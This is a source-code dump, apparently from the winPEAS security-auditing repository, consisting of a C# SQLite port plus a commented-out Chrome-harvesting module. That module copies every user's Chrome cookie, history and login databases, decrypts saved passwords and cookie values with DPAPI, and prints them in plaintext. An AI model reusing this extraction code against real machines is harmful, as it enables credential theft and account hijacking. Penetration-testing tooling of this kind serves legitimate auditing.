Usage(); // return; // } // // Parse the arguments. // for(int i=0; i < args.Length; i++) // { // // Valid arg! // string arg = args[i].ToLower(); // if (Array.IndexOf(validArgs, arg) != -1) // { // if (arg == "all" || arg == "full") // { // getCookies = true; // getHistory = true; // getLogins = true; // } // else if (arg == "logins") // { // getLogins = true; // } // else if (arg == "history") // { // getHistory = true; // } // else if (arg == "cookies") // { // getCookies = true; // } // else // { // Console.WriteLine("[X] Invalid argument passed: {0}", arg); // } // } // else if (getCookies && arg.Contains(".")) // { // // must be a domain! // domains.Add(arg); // } // else // { // Console.WriteLine("[X] Invalid argument passed: {0}", arg); // } // } // string[] domainArray = domains.ToArray(); // if (!getCookies && !getHistory && !getLogins) // { // Usage(); // return; // } // // If Chrome is running, we'll need to clone the files we wish to parse. // Process[] chromeProcesses = Process.GetProcessesByName("chrome"); // if (chromeProcesses.Length > 0) // { // useTmpFile = true; // } // //foreach(string path in paths) // //{ // //} // //GetLogins(chromeLoginDataPath); // // Main loop, path parsing and high integrity check taken from GhostPack/SeatBelt // try // { // if (IsHighIntegrity()) // { // Console.WriteLine("\r\n\r\n=== Chrome (All Users) ==="); // string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); // string[] dirs = Directory.GetDirectories(userFolder); // foreach (string dir in dirs) // { // string[] parts = dir.Split('\\'); // string userName = parts[parts.Length - 1]; // if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) // { // string userChromeHistoryPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", dir); // string userChromeBookmarkPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", dir); // string userChromeLoginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir); // string userChromeCookiesPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir); // // History parse // if (useTmpFile) // { // if (getCookies) // { // userChromeCookiesPath = CreateTempFile(userChromeCookiesPath); // if (domainArray.Length > 0) // { // HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, userName, true, domainArray); // } // else // { // HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, userName, true); // } // File.Delete(userChromeCookiesPath); // } // if (getHistory) // { // userChromeCookiesPath = CreateTempFile(userChromeCookiesPath); // HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, userName); // File.Delete(userChromeCookiesPath); // userChromeHistoryPath = CreateTempFile(userChromeHistoryPath); // ParseChromeHistory(userChromeHistoryPath, userName, cookies); // File.Delete(userChromeHistoryPath); // } // if (getLogins) // { // userChromeLoginDataPath = CreateTempFile(userChromeLoginDataPath); // ParseChromeLogins(userChromeLoginDataPath, userName); // File.Delete(userChromeLoginDataPath); // } // } // else // { // if (getCookies) // { // if (domainArray.Length > 0) // { // ParseChromeCookies(userChromeCookiesPath, userName, true, domainArray); // } // else // { // ParseChromeCookies(userChromeCookiesPath, userName, true); // } // } // if (getHistory) // { // HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, userName); // ParseChromeHistory(userChromeHistoryPath, userName, cookies); // } // if (getLogins) // { // ParseChromeLogins(userChromeLoginDataPath, userName); // } // } // } // } // } // else // { // Console.WriteLine("\r\n\r\n=== Chrome (Current User) ==="); // string userChromeHistoryPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", System.Environment.GetEnvironmentVariable("USERPROFILE")); // string userChromeBookmarkPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", System.Environment.GetEnvironmentVariable("USERPROFILE")); // //ParseChromeBookmarks(userChromeBookmarkPath, System.Environment.GetEnvironmentVariable("USERNAME")); // string userChromeCookiesPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); // string userChromeLoginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); // //ParseChromeLogins(userChromeLoginDataPath, System.Environment.GetEnvironmentVariable("USERNAME")); // if (useTmpFile) // { // if (getCookies) // { // userChromeCookiesPath = CreateTempFile(userChromeCookiesPath); // if (domainArray.Length > 0) // { // ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable("USERNAME"), true, domainArray); // } // else // { // ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable("USERNAME"), true); // } // File.Delete(userChromeCookiesPath); // } // if (getHistory) // { // userChromeCookiesPath = CreateTempFile(userChromeCookiesPath); // HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable("USERNAME")); // File.Delete(userChromeCookiesPath); // userChromeHistoryPath = CreateTempFile(userChromeHistoryPath); // ParseChromeHistory(userChromeHistoryPath, System.Environment.GetEnvironmentVariable("USERNAME"), cookies); // File.Delete(userChromeHistoryPath); // } // if (getLogins) // { // userChromeLoginDataPath = CreateTempFile(userChromeLoginDataPath); // ParseChromeLogins(userChromeLoginDataPath, System.Environment.GetEnvironmentVariable("USERNAME")); // File.Delete(userChromeLoginDataPath); // } // } // else // { // if (getCookies) // { // if (domainArray.Length > 0) // { // ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable("USERNAME"), true, domainArray); // } // else // { // ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable("USERNAME"), true); // } // } // if (getHistory) // { // HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable("USERNAME")); // ParseChromeHistory(userChromeHistoryPath, System.Environment.GetEnvironmentVariable("USERNAME"), cookies); // } // if (getLogins) // { // ParseChromeLogins(userChromeLoginDataPath, System.Environment.GetEnvironmentVariable("USERNAME")); // } // } // } // } // catch (Exception ex) // { // Console.WriteLine(" [X] Exception: {0}", ex.Message); // } // //Thread.Sleep(100000); // } // public static string CreateTempFile(string filePath) // { // string localAppData = System.Environment.GetEnvironmentVariable("LOCALAPPDATA"); // string newFile = ""; // newFile = Path.GetRandomFileName(); // string tempFileName = localAppData + "\\Temp\\" + newFile; // File.Copy(filePath, tempFileName); // return tempFileName; // } // public class Cookie // { // private string _domain; // private long _expirationDate; // private bool _hostOnly; // private bool _httpOnly; // private string _name; // private string _path; // private string _sameSite; // private bool _secure; // private bool _session; // private string _storeId; // private string _value; // private int _id; // // Getters and setters // public string Domain // { // get { return _domain; } // set { _domain = value; } // } // public long ExpirationDate // { // get { return _expirationDate; } // set { _expirationDate = value; } // } // public bool HostOnly // { // get { return _hostOnly; } // set { _hostOnly = value; } // } // public bool HttpOnly // { // get { return _httpOnly; } // set { _httpOnly = value; } // } // public string Name // { // get { return _name; } // set { _name = value; } // } // public string Path // { // get { return _path; } // set { _path = value; } // } // public string SameSite // { // get { return _sameSite; } // set { _sameSite = value; } // } // public bool Secure // { // get { return _secure; } // set { _secure = value; } // } // public bool Session // { // get { return _session; } // set { _session = value; } // } // public string StoreId // { // get { return _storeId; } // set { _storeId = value; } // } // public string Value // { // get { return _value; } // set { _value = value; } // } // public int Id // { // get { return _id; } // set { _id = value; } // } // public string ToJSON() // { // Type type = this.GetType(); // PropertyInfo[] properties = type.GetProperties(); // string[] jsonItems = new string[properties.Length]; // Number of items in EditThisCookie // for(int i = 0; i < properties.Length; i++) // { // PropertyInfo property = properties[i]; // object[] keyvalues = { property.Name[0].ToString().ToLower() + property.Name.Substring(1, property.Name.Length-1), property.GetValue(this, null) }; // string jsonString = ""; // if (keyvalues[1].GetType() == typeof(String)) // { // jsonString = String.Format("\"{0}\": \"{1}\"", keyvalues); // } // else if (keyvalues[1].GetType() == typeof(Boolean)) // { // keyvalues[1] = keyvalues[1].ToString().ToLower(); // jsonString = String.Format("\"{0}\": {1}", keyvalues); // } // else // { // jsonString = String.Format("\"{0}\": {1}", keyvalues); // } // jsonItems[i] = jsonString; // } // string results = "{" + String.Join(", ", jsonItems) + "}"; // return results; // } // } // public class HostCookies // { // private Cookie[] _cookies; // private string _hostName; // public Cookie[] Cookies // { // get { return _cookies; } // set { _cookies = value; } // } // public string HostName // { // get { return _hostName; } // set { _hostName = value; } // } // public string ToJSON() // { // string[] jsonCookies = new string[this.Cookies.Length]; // for(int i=0; i < this.Cookies.Length; i++) // { // this.Cookies[i].Id = i+1; // jsonCookies[i] = this.Cookies[i].ToJSON(); // } // return "[" + String.Join(",", jsonCookies) + "]"; // } // } // public static HostCookies[] SortCookieData(DataTable cookieTable) // { // List cookies = new List(); // List hostCookies = new List(); // HostCookies hostInstance = null; // string lastHostKey = ""; // foreach(DataRow row in cookieTable.Rows) // { // if (lastHostKey != (string)row["host_key"]) // { // lastHostKey = (string)row["host_key"]; // if (hostInstance != null) // { // hostInstance.Cookies = cookies.ToArray(); // hostCookies.Add(hostInstance); // } // hostInstance = new HostCookies(); // hostInstance.HostName = lastHostKey; // cookies = new List(); // } // Cookie cookie = new Cookie(); // cookie.Domain = row["host_key"].ToString(); // long expDate; // Int64.TryParse(row["expires_utc"].ToString(), out expDate); // cookie.ExpirationDate = expDate; // cookie.HostOnly = false; // I'm not sure this is stored in the cookie store and seems to be always false // if (row["is_httponly"].ToString() == "1") // { // cookie.HttpOnly = true; // } // else // { // cookie.HttpOnly = false; // } // cookie.Name = row["name"].ToString(); // cookie.Path = row["path"].ToString(); // cookie.SameSite = "no_restriction"; // Not sure if this is the same as firstpartyonly // if (row["is_secure"].ToString() == "1") // { // cookie.Secure = true; // } // else // { // cookie.Secure = false; // } // cookie.Session = false; // Unsure, this seems to be false always // cookie.StoreId = "0"; // Static // byte[] cookieValue = Convert.FromBase64String(row["encrypted_value"].ToString()); // cookieValue = ProtectedData.Unprotect(cookieValue, null, DataProtectionScope.CurrentUser); // cookie.Value = System.Text.Encoding.ASCII.GetString(cookieValue); // cookies.Add(cookie); // } // return hostCookies.ToArray(); // } // private bool CookieHostNameMatch(HostCookies cookie, string hostName) // { // return cookie.HostName == hostName; // } // public static HostCookies FilterHostCookies(HostCookies[] hostCookies, string url) // { // HostCookies results = new HostCookies(); // List hostPermutations = new List(); // // First retrieve the domain from the url // string domain = url; // // determine if url or raw domain name // if (domain.IndexOf('/') != -1) // { // domain = domain.Split('/')[2]; // } // results.HostName = domain; // string[] domainParts = domain.Split('.'); // for(int i=0; i < domainParts.Length; i++) // { // if ((domainParts.Length - i) < 2) // { // // We've reached the TLD. Break! // break; // } // string[] subDomainParts = new string[domainParts.Length - i]; // Array.Copy(domainParts, i, subDomainParts, 0, subDomainParts.Length); // string subDomain = String.Join(".", subDomainParts); // hostPermutations.Add(subDomain); // hostPermutations.Add("." + subDomain); // } // List cookies = new List(); // foreach(string sub in hostPermutations) // { // // For each permutation // foreach(HostCookies hostInstance in hostCookies) // { // // Determine if the hostname matches the subdomain perm // if (hostInstance.HostName == sub) // { // // If it does, cycle through // foreach(Cookie cookieInstance in hostInstance.Cookies) // { // // No dupes // if (!cookies.Contains(cookieInstance)) // { // cookies.Add(cookieInstance); // } // } // } // } // } // results.Cookies = cookies.ToArray(); // return results; // } // public static HostCookies[] ParseChromeCookies(string cookiesFilePath, string user, bool printResults = false, string[] domains = null) // { // SQLiteDatabase database = new SQLiteDatabase(cookiesFilePath); // string query = "SELECT * FROM cookies ORDER BY host_key"; // DataTable resultantQuery = database.ExecuteQuery(query); // database.CloseDatabase(); // // This will group cookies based on Host Key // HostCookies[] rawCookies = SortCookieData(resultantQuery); // if (printResults) // { // if (domains != null) // { // foreach(string domain in domains) // { // HostCookies hostInstance = FilterHostCookies(rawCookies, domain); // Console.WriteLine("--- Chrome Cookie (User: {0}) ---", user); // Console.WriteLine("Domain : {0}", hostInstance.HostName); // Console.WriteLine("Cookies (JSON) : {0}", hostInstance.ToJSON()); // Console.WriteLine(); // } // } // else // { // foreach (HostCookies cookie in rawCookies) // { // Console.WriteLine("--- Chrome Cookie (User: {0}) ---", user); // Console.WriteLine("Domain : {0}", cookie.HostName); // Console.WriteLine("Cookies (JSON) : {0}", cookie.ToJSON()); // Console.WriteLine(); // } // } // } // // Parse the raw cookies into HostCookies that are grouped by common domain // return rawCookies; // } // public static void ParseChromeHistory(string historyFilePath, string user, HostCookies[] cookies) // { // SQLiteDatabase database = new SQLiteDatabase(historyFilePath); // string query = "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY visit_count;"; // DataTable resultantQuery = database.ExecuteQuery(query); // database.CloseDatabase(); // foreach (DataRow row in resultantQuery.Rows) // { // var lastVisitTime = row["last_visit_time"]; // Console.WriteLine("--- Chrome History (User: {0}) ---", user); // Console.WriteLine("URL : {0}", row["url"]); // if (row["title"] != String.Empty) // { // Console.WriteLine("Title : {0}", row["title"]); // } // else // { // Console.WriteLine("Title : No Title"); // } // Console.WriteLine("Visit Count : {0}", row["visit_count"]); // HostCookies matching = FilterHostCookies(cookies, row["url"].ToString()); // Console.WriteLine("Cookies : {0}", matching.ToJSON()); // Console.WriteLine(); // } // } // public static void ParseChromeLogins(string loginDataFilePath, string user) // { // SQLiteDatabase database = new SQLiteDatabase(loginDataFilePath); // string query = "SELECT action_url, username_value, password_value FROM logins"; // DataTable resultantQuery = database.ExecuteQuery(query); // foreach (DataRow row in resultantQuery.Rows) // { // byte[] passwordBytes = Convert.FromBase64String((string)row["password_value"]); // byte[] decBytes = ProtectedData.Unprotect(passwordBytes, null, DataProtectionScope.CurrentUser); // string password = Encoding.ASCII.GetString(decBytes); // if (password != String.Empty) // { // Console.WriteLine("--- Chrome Credential (User: {0}) ---", user); // Console.WriteLine("URL : {0}", row["action_url"]); // Console.WriteLine("Username : {0}", row["username_value"]); // Console.WriteLine("Password : {0}", password); // Console.WriteLine(); // } // } // database.CloseDatabase(); // } // public static bool IsHighIntegrity() // { // // returns true if the current process is running with adminstrative privs in a high integrity context // WindowsIdentity identity = WindowsIdentity.GetCurrent(); // WindowsPrincipal principal = new WindowsPrincipal(identity); // return principal.IsInRole(WindowsBuiltInRole.Administrator); // } // } //} ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/SQLiteVdbe.cs ================================================ // $Header$ using System; using winPEAS._3rdParty.SQLite.src; namespace winPEAS._3rdParty.SQLite { using Vdbe = CSSQLite.Vdbe; /// /// C#-SQLite wrapper with functions for opening, closing and executing queries. /// public class SQLiteVdbe { private Vdbe vm = null; private string LastError = ""; private int LastResult = 0; /// /// Creates new instance of SQLiteVdbe class by compiling a statement /// /// /// Vdbe public SQLiteVdbe( SQLiteDatabase db, String query ) { vm = null; // prepare and compile CSSQLite.sqlite3_prepare_v2( db.Connection(), query, query.Length, ref vm, 0 ); } /// /// Return Virtual Machine Pointer /// /// /// Vdbe public Vdbe VirtualMachine() { return vm; } /// /// /// BindInteger /// /// /// /// LastResult public int BindInteger(int index, int bInteger ) { if ( (LastResult = CSSQLite.sqlite3_bind_int( vm, index, bInteger ))== CSSQLite.SQLITE_OK ) { LastError = ""; } else { LastError = "Error " + LastError + "binding Integer [" + bInteger + "]"; } return LastResult; } /// /// /// BindLong /// /// /// /// LastResult public int BindLong( int index, long bLong ) { if ( ( LastResult = CSSQLite.sqlite3_bind_int64( vm, index, bLong ) ) == CSSQLite.SQLITE_OK ) { LastError = ""; } else { LastError = "Error " + LastError + "binding Long [" + bLong + "]"; } return LastResult; } /// /// BindText /// /// /// /// LastResult public int BindText( int index, string bText ) { if ( ( LastResult = CSSQLite.sqlite3_bind_text( vm, index, bText ,-1,null) ) == CSSQLite.SQLITE_OK ) { LastError = ""; } else { LastError = "Error " + LastError + "binding Text [" + bText + "]"; } return LastResult; } /// /// Execute statement /// /// /// LastResult public int ExecuteStep( ) { // Execute the statement int LastResult = CSSQLite.sqlite3_step( vm ); return LastResult; } /// /// Returns Result column as Long /// /// /// Result column public long Result_Long(int index) { return CSSQLite.sqlite3_column_int64( vm, index ); } /// /// Returns Result column as Text /// /// /// Result column public string Result_Text( int index ) { return CSSQLite.sqlite3_column_text( vm, index ); } /// /// Returns Count of Result Rows /// /// /// Count of Results public int ResultColumnCount( ) { return vm.pResultSet == null ? 0 : vm.pResultSet.Length; } /// /// Reset statement /// /// /// public void Reset() { // Reset the statment so it's ready to use again CSSQLite.sqlite3_reset( vm ); } /// /// Closes statement /// /// /// LastResult public void Close() { CSSQLite.sqlite3_finalize( ref vm ); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/BtreeInt_h.cs ================================================ using System; using i16 = System.Int16; using i64 = System.Int64; using u8 = System.Byte; using u16 = System.UInt16; using u32 = System.UInt32; using sqlite3_int64 = System.Int64; using Pgno = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { using DbPage = CSSQLite.PgHdr; public partial class CSSQLite { /* ** 2004 April 6 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** $Id: btreeInt.h,v 1.52 2009/07/15 17:25:46 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* ** ** This file implements a external (disk-based) database using BTrees. ** For a detailed discussion of BTrees, refer to ** ** Donald E. Knuth, THE ART OF COMPUTER PROGRAMMING, Volume 3: ** "Sorting And Searching", pages 473-480. Addison-Wesley ** Publishing Company, Reading, Massachusetts. ** ** The basic idea is that each page of the file contains N database ** entries and N+1 pointers to subpages. ** ** ---------------------------------------------------------------- ** | Ptr(0) | Key(0) | Ptr(1) | Key(1) | ... | Key(N-1) | Ptr(N) | ** ---------------------------------------------------------------- ** ** All of the keys on the page that Ptr(0) points to have values less ** than Key(0). All of the keys on page Ptr(1) and its subpages have ** values greater than Key(0) and less than Key(1). All of the keys ** on Ptr(N) and its subpages have values greater than Key(N-1). And ** so forth. ** ** Finding a particular key requires reading O(log(M)) pages from the ** disk where M is the number of entries in the tree. ** ** In this implementation, a single file can hold one or more separate ** BTrees. Each BTree is identified by the index of its root page. The ** key and data for any entry are combined to form the "payload". A ** fixed amount of payload can be carried directly on the database ** page. If the payload is larger than the preset amount then surplus ** bytes are stored on overflow pages. The payload for an entry ** and the preceding pointer are combined to form a "Cell". Each ** page has a small header which contains the Ptr(N) pointer and other ** information such as the size of key and data. ** ** FORMAT DETAILS ** ** The file is divided into pages. The first page is called page 1, ** the second is page 2, and so forth. A page number of zero indicates ** "no such page". The page size can be anything between 512 and 65536. ** Each page can be either a btree page, a freelist page or an overflow ** page. ** ** The first page is always a btree page. The first 100 bytes of the first ** page contain a special header (the "file header") that describes the file. ** The format of the file header is as follows: ** ** OFFSET SIZE DESCRIPTION ** 0 16 Header string: "SQLite format 3\000" ** 16 2 Page size in bytes. ** 18 1 File format write version ** 19 1 File format read version ** 20 1 Bytes of unused space at the end of each page ** 21 1 Max embedded payload fraction ** 22 1 Min embedded payload fraction ** 23 1 Min leaf payload fraction ** 24 4 File change counter ** 28 4 Reserved for future use ** 32 4 First freelist page ** 36 4 Number of freelist pages in the file ** 40 60 15 4-byte meta values passed to higher layers ** ** 40 4 Schema cookie ** 44 4 File format of schema layer ** 48 4 Size of page cache ** 52 4 Largest root-page (auto/incr_vacuum) ** 56 4 1=UTF-8 2=UTF16le 3=UTF16be ** 60 4 User version ** 64 4 Incremental vacuum mode ** 68 4 unused ** 72 4 unused ** 76 4 unused ** ** All of the integer values are big-endian (most significant byte first). ** ** The file change counter is incremented when the database is changed ** This counter allows other processes to know when the file has changed ** and thus when they need to flush their cache. ** ** The max embedded payload fraction is the amount of the total usable ** space in a page that can be consumed by a single cell for standard ** B-tree (non-LEAFDATA) tables. A value of 255 means 100%. The default ** is to limit the maximum cell size so that at least 4 cells will fit ** on one page. Thus the default max embedded payload fraction is 64. ** ** If the payload for a cell is larger than the max payload, then extra ** payload is spilled to overflow pages. Once an overflow page is allocated, ** as many bytes as possible are moved into the overflow pages without letting ** the cell size drop below the min embedded payload fraction. ** ** The min leaf payload fraction is like the min embedded payload fraction ** except that it applies to leaf nodes in a LEAFDATA tree. The maximum ** payload fraction for a LEAFDATA tree is always 100% (or 255) and it ** not specified in the header. ** ** Each btree pages is divided into three sections: The header, the ** cell pointer array, and the cell content area. Page 1 also has a 100-byte ** file header that occurs before the page header. ** ** |----------------| ** | file header | 100 bytes. Page 1 only. ** |----------------| ** | page header | 8 bytes for leaves. 12 bytes for interior nodes ** |----------------| ** | cell pointer | | 2 bytes per cell. Sorted order. ** | array | | Grows downward ** | | v ** |----------------| ** | unallocated | ** | space | ** |----------------| ^ Grows upwards ** | cell content | | Arbitrary order interspersed with freeblocks. ** | area | | and free space fragments. ** |----------------| ** ** The page headers looks like this: ** ** OFFSET SIZE DESCRIPTION ** 0 1 Flags. 1: intkey, 2: zerodata, 4: leafdata, 8: leaf ** 1 2 byte offset to the first freeblock ** 3 2 number of cells on this page ** 5 2 first byte of the cell content area ** 7 1 number of fragmented free bytes ** 8 4 Right child (the Ptr(N) value). Omitted on leaves. ** ** The flags define the format of this btree page. The leaf flag means that ** this page has no children. The zerodata flag means that this page carries ** only keys and no data. The intkey flag means that the key is a integer ** which is stored in the key size entry of the cell header rather than in ** the payload area. ** ** The cell pointer array begins on the first byte after the page header. ** The cell pointer array contains zero or more 2-byte numbers which are ** offsets from the beginning of the page to the cell content in the cell ** content area. The cell pointers occur in sorted order. The system strives ** to keep free space after the last cell pointer so that new cells can ** be easily added without having to defragment the page. ** ** Cell content is stored at the very end of the page and grows toward the ** beginning of the page. ** ** Unused space within the cell content area is collected into a linked list of ** freeblocks. Each freeblock is at least 4 bytes in size. The byte offset ** to the first freeblock is given in the header. Freeblocks occur in ** increasing order. Because a freeblock must be at least 4 bytes in size, ** any group of 3 or fewer unused bytes in the cell content area cannot ** exist on the freeblock chain. A group of 3 or fewer free bytes is called ** a fragment. The total number of bytes in all fragments is recorded. ** in the page header at offset 7. ** ** SIZE DESCRIPTION ** 2 Byte offset of the next freeblock ** 2 Bytes in this freeblock ** ** Cells are of variable length. Cells are stored in the cell content area at ** the end of the page. Pointers to the cells are in the cell pointer array ** that immediately follows the page header. Cells is not necessarily ** contiguous or in order, but cell pointers are contiguous and in order. ** ** Cell content makes use of variable length integers. A variable ** length integer is 1 to 9 bytes where the lower 7 bits of each ** byte are used. The integer consists of all bytes that have bit 8 set and ** the first byte with bit 8 clear. The most significant byte of the integer ** appears first. A variable-length integer may not be more than 9 bytes long. ** As a special case, all 8 bytes of the 9th byte are used as data. This ** allows a 64-bit integer to be encoded in 9 bytes. ** ** 0x00 becomes 0x00000000 ** 0x7f becomes 0x0000007f ** 0x81 0x00 becomes 0x00000080 ** 0x82 0x00 becomes 0x00000100 ** 0x80 0x7f becomes 0x0000007f ** 0x8a 0x91 0xd1 0xac 0x78 becomes 0x12345678 ** 0x81 0x81 0x81 0x81 0x01 becomes 0x10204081 ** ** Variable length integers are used for rowids and to hold the number of ** bytes of key and data in a btree cell. ** ** The content of a cell looks like this: ** ** SIZE DESCRIPTION ** 4 Page number of the left child. Omitted if leaf flag is set. ** var Number of bytes of data. Omitted if the zerodata flag is set. ** var Number of bytes of key. Or the key itself if intkey flag is set. ** * Payload ** 4 First page of the overflow chain. Omitted if no overflow ** ** Overflow pages form a linked list. Each page except the last is completely ** filled with data (pagesize - 4 bytes). The last page can have as little ** as 1 byte of data. ** ** SIZE DESCRIPTION ** 4 Page number of next overflow page ** * Data ** ** Freelist pages come in two subtypes: trunk pages and leaf pages. The ** file header points to the first in a linked list of trunk page. Each trunk ** page points to multiple leaf pages. The content of a leaf page is ** unspecified. A trunk page looks like this: ** ** SIZE DESCRIPTION ** 4 Page number of next trunk page ** 4 Number of leaf pointers on this page ** * zero or more pages numbers of leaves */ //#include "sqliteInt.h" /* The following value is the maximum cell size assuming a maximum page ** size give above. */ //#define MX_CELL_SIZE(pBt) (pBt.pageSize-8) static int MX_CELL_SIZE( BtShared pBt ) { return ( pBt.pageSize - 8 ); } /* The maximum number of cells on a single page of the database. This ** assumes a minimum cell size of 6 bytes (4 bytes for the cell itself ** plus 2 bytes for the index to the cell in the page header). Such ** small cells will be rare, but they are possible. */ //#define MX_CELL(pBt) ((pBt.pageSize-8)/6) static int MX_CELL( BtShared pBt ) { return ( ( pBt.pageSize - 8 ) / 6 ); } /* Forward declarations */ //typedef struct MemPage MemPage; //typedef struct BtLock BtLock; /* ** This is a magic string that appears at the beginning of every ** SQLite database in order to identify the file as a real database. ** ** You can change this value at compile-time by specifying a ** -DSQLITE_FILE_HEADER="..." on the compiler command-line. The ** header must be exactly 16 bytes including the zero-terminator so ** the string itself should be 15 characters long. If you change ** the header, then your custom library will not be able to read ** databases generated by the standard tools and the standard tools ** will not be able to read databases created by your custom library. */ #if !SQLITE_FILE_HEADER //* 123456789 123456 */ const string SQLITE_FILE_HEADER = "SQLite format 3\0"; #endif /* ** Page type flags. An ORed combination of these flags appear as the ** first byte of on-disk image of every BTree page. */ const byte PTF_INTKEY = 0x01; const byte PTF_ZERODATA = 0x02; const byte PTF_LEAFDATA = 0x04; const byte PTF_LEAF = 0x08; /* ** As each page of the file is loaded into memory, an instance of the following ** structure is appended and initialized to zero. This structure stores ** information about the page that is decoded from the raw file page. ** ** The pParent field points back to the parent page. This allows us to ** walk up the BTree from any leaf to the root. Care must be taken to ** unref() the parent page pointer when this page is no longer referenced. ** The pageDestructor() routine handles that chore. ** ** Access to all fields of this structure is controlled by the mutex ** stored in MemPage.pBt.mutex. */ public struct _OvflCell { /* Cells that will not fit on aData[] */ public u8[] pCell; /* Pointers to the body of the overflow cell */ public u16 idx; /* Insert this cell before idx-th non-overflow cell */ public _OvflCell Copy() { _OvflCell cp = new _OvflCell(); if ( pCell != null ) { cp.pCell = new byte[pCell.Length]; Buffer.BlockCopy( pCell, 0, cp.pCell, 0, pCell.Length ); } cp.idx = idx; return cp; } }; public class MemPage { public u8 isInit; /* True if previously initialized. MUST BE FIRST! */ public u8 nOverflow; /* Number of overflow cell bodies in aCell[] */ public u8 intKey; /* True if u8key flag is set */ public u8 leaf; /* 1 if leaf flag is set */ public u8 hasData; /* True if this page stores data */ public u8 hdrOffset; /* 100 for page 1. 0 otherwise */ public u8 childPtrSize; /* 0 if leaf==1. 4 if leaf==0 */ public u16 maxLocal; /* Copy of BtShared.maxLocal or BtShared.maxLeaf */ public u16 minLocal; /* Copy of BtShared.minLocal or BtShared.minLeaf */ public u16 cellOffset; /* Index in aData of first cell pou16er */ public u16 nFree; /* Number of free bytes on the page */ public u16 nCell; /* Number of cells on this page, local and ovfl */ public u16 maskPage; /* Mask for page offset */ public _OvflCell[] aOvfl = new _OvflCell[5]; public BtShared pBt; /* Pointer to BtShared that this page is part of */ public byte[] aData; /* Pointer to disk image of the page data */ public DbPage pDbPage; /* Pager page handle */ public Pgno pgno; /* Page number for this page */ public MemPage Copy() { MemPage cp = (MemPage)MemberwiseClone(); if ( aOvfl != null ) { cp.aOvfl = new _OvflCell[aOvfl.Length]; for ( int i = 0 ; i < aOvfl.Length ; i++ ) cp.aOvfl[i] = aOvfl[i].Copy(); } if ( aData != null ) { cp.aData = new byte[aData.Length]; Buffer.BlockCopy( aData, 0, cp.aData, 0, aData.Length ); } return cp; } }; /* ** The in-memory image of a disk page has the auxiliary information appended ** to the end. EXTRA_SIZE is the number of bytes of space needed to hold ** that extra information. */ const int EXTRA_SIZE = 0;// No used in C#, since we use create a class; was MemPage.Length; /* ** A linked list of the following structures is stored at BtShared.pLock. ** Locks are added (or upgraded from READ_LOCK to WRITE_LOCK) when a cursor ** is opened on the table with root page BtShared.iTable. Locks are removed ** from this list when a transaction is committed or rolled back, or when ** a btree handle is closed. */ public class BtLock { Btree pBtree; /* Btree handle holding this lock */ Pgno iTable; /* Root page of table */ u8 eLock; /* READ_LOCK or WRITE_LOCK */ BtLock pNext; /* Next in BtShared.pLock list */ }; /* Candidate values for BtLock.eLock */ //#define READ_LOCK 1 //#define WRITE_LOCK 2 const int READ_LOCK = 1; const int WRITE_LOCK = 2; /* A Btree handle ** ** A database connection contains a pointer to an instance of ** this object for every database file that it has open. This structure ** is opaque to the database connection. The database connection cannot ** see the internals of this structure and only deals with pointers to ** this structure. ** ** For some database files, the same underlying database cache might be ** shared between multiple connections. In that case, each contection ** has it own pointer to this object. But each instance of this object ** points to the same BtShared object. The database cache and the ** schema associated with the database file are all contained within ** the BtShared object. ** ** All fields in this structure are accessed under sqlite3.mutex. ** The pBt pointer itself may not be changed while there exists cursors ** in the referenced BtShared that point back to this Btree since those ** cursors have to do go through this Btree to find their BtShared and ** they often do so without holding sqlite3.mutex. */ public class Btree { public sqlite3 db; /* The database connection holding this Btree */ public BtShared pBt; /* Sharable content of this Btree */ public u8 inTrans; /* TRANS_NONE, TRANS_READ or TRANS_WRITE */ public bool sharable; /* True if we can share pBt with another db */ public bool locked; /* True if db currently has pBt locked */ public int wantToLock; /* Number of nested calls to sqlite3BtreeEnter() */ public int nBackup; /* Number of backup operations reading this btree */ public Btree pNext; /* List of other sharable Btrees from the same db */ public Btree pPrev; /* Back pointer of the same list */ #if !SQLITE_OMIT_SHARED_CACHE BtLock lock; /* Object used to lock page 1 */ #endif }; /* ** Btree.inTrans may take one of the following values. ** ** If the shared-data extension is enabled, there may be multiple users ** of the Btree structure. At most one of these may open a write transaction, ** but any number may have active read transactions. */ const byte TRANS_NONE = 0; const byte TRANS_READ = 1; const byte TRANS_WRITE = 2; /* ** An instance of this object represents a single database file. ** ** A single database file can be in use as the same time by two ** or more database connections. When two or more connections are ** sharing 